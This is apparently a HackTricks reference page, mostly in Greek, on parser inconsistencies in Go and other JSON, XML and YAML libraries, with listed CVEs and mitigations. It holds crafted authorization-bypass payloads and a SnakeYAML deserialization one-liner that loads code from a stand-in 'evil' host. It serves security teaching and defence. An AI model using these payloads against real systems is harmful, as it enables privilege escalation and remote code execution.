JSON, XML & Yaml Hacking & Issues

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Go JSON Decoder

Τα ακόλουθα ζητήματα εντοπίστηκαν στο Go JSON αν και θα μπορούσαν να υπάρχουν και σε άλλες γλώσσες. Αυτά τα ζητήματα δημοσιεύτηκαν στο this blog post.

Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to bypass authentication, escalate privileges, or exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Ο στόχος είναι να εκμεταλλευτούμε structs που επιτρέπουν σε έναν attacker να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., IsAdmin, Password).

  • Παράδειγμα Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Κοινές Ευπάθειες
  1. Missing tag (no tag = το πεδίο εξακολουθεί να αναλύεται από προεπιλογή):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Λανθασμένη χρήση του -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Ο σωστός τρόπος για να αποτρέψετε ένα πεδίο από το να γίνει (un)marshaled:

type User struct {
IsAdmin bool `json:"-"`
}

Διαφορές Parser

Ο στόχος είναι να bypass authorization εκμεταλλευόμενοι το πώς διαφορετικοί parsers ερμηνεύουν το ίδιο payload διαφορετικά, όπως σε:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. Duplicate Fields: Go’s encoding/json παίρνει το τελευταίο πεδίο.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Άλλοι parsers (π.χ., Java’s Jackson) μπορεί να πάρουν το πρώτο.

2. Μη ευαισθησία σε πεζά/κεφαλαία: Το Go δεν κάνει διάκριση μεταξύ πεζών και κεφαλαίων:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Ακόμη και τα κόλπα με Unicode λειτουργούν:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: Φανταστείτε:

  • Proxy written in Go
  • AuthZ service written in Python

Attacker στέλνει:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python βλέπει UserAction, το επιτρέπει
  • Go βλέπει AdminAction, το εκτελεί

Σύγχυση μορφής δεδομένων (Polyglots)

Ο στόχος είναι η εκμετάλλευση συστημάτων που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν ανοιχτά σε σφάλματα parser όπως:

  • CVE-2020-16250: HashiCorp Vault έκανε parse JSON με XML parser αφού το STS επέστρεψε JSON αντί για XML.

Ο επιτιθέμενος ελέγχει:

  • Την κεφαλίδα Accept: application/json
  • Μερικό έλεγχο του JSON body

Ο XML parser του Go το έκανε parse παρ’ όλα αυτά και εμπιστεύτηκε την εγχυμένη ταυτότητα.

  • Κατασκευασμένο payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Αποτέλεσμα:

  • Go JSON parser: Action_2 (μη-ευαίσθητο σε πεζά/κεφαλαία + υπερισχύει το τελευταίο)
  • YAML parser: Action_1 (ευαίσθητο σε πεζά/κεφαλαία)
  • XML parser: αναλύει το "Action_3" μέσα στο αλφαριθμητικό

Αξιοσημείωτες ευπάθειες αναλυτών (2023-2025)

Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η μη ασφαλής ανάλυση είναι ένα πρόβλημα πολλαπλών γλωσσών — όχι μόνο ένα πρόβλημα Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Επηρεάζει: org.yaml:snakeyaml < 2.0 (used by Spring-Boot, Jenkins, etc.).
  • Βασική αιτία: new Constructor() αποσειριοποιεί οποιαδήποτε κλάση Java, επιτρέποντας gadget chains που καταλήγουν σε remote-code execution.
  • One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο host):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Διόρθωση / Αντιμετώπιση:
  1. Αναβάθμιση σε ≥2.0 (χρησιμοποιεί SafeLoader από προεπιλογή).
  2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Επηρεάζει: libyaml ≤0.2.5 (βιβλιοθήκη C που αξιοποιείται από πολλά language bindings).
  • Πρόβλημα: Κλήση στο yaml_event_delete() δύο φορές οδηγεί σε double-free, το οποίο επιτιθέμενοι μπορούν να εκμεταλλευτούν για DoS ή, σε ορισμένα σενάρια, για εκμετάλλευση του heap.
  • Κατάσταση: Το upstream απέρριψε ως «API misuse», αλλά οι διανομές Linux έστειλαν την patched έκδοση 0.2.6 που προληπτικά μηδενίζει/απελευθερώνει τον δείκτη.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Επηρεάζει: Tencent RapidJSON πριν το commit 8269bc2 (<1.1.0-patch-22).
  • Σφάλμα: Στο GenericReader::ParseNumber() οι απροστάτευτοι αριθμητικοί υπολογισμοί επιτρέπουν σε επιτιθέμενους να δημιουργήσουν τεράστια αριθμητικά literals που περιτυλίγονται (wrap around) και καταστρέφουν το heap — τελικά επιτρέποντας ανύψωση προνομίων όταν το προκύπτον object graph χρησιμοποιείται για αποφάσεις εξουσιοδότησης.

🔐 Μέτρα αντιμετώπισης (Ενημερωμένα)

ΚίνδυνοςΔιόρθωση / Σύσταση
Άγνωστα πεδία (JSON)decoder.DisallowUnknownFields()
Διπλά πεδία (JSON)❌ Δεν υπάρχει διόρθωση στη stdlib — επαληθεύστε με jsoncheck
Αντιστοίχιση ανεξαρτήτως πεζών/κεφαλαίων (Go)❌ Δεν υπάρχει διόρθωση — επαληθεύστε τα struct tags + προ-κανoνικοποιήστε την είσοδο
Άχρηστα δεδομένα XML / XXEΧρησιμοποιήστε έναν ενισχυμένο αναλυτή (encoding/xml + DisallowDTD)
Άγνωστα κλειδιά YAMLyaml.KnownFields(true)
Μη ασφαλής απο-σειριοποίηση YAMLΧρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeΑναβαθμίστε σε 0.2.6 ή έκδοση με patch από τη διανομή
RapidJSON <patched commitΜεταγλωττίστε με την τελευταία RapidJSON (≥Ιούλιος 2024)

Δείτε επίσης

Mass Assignment Cwe 915

Αναφορές

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks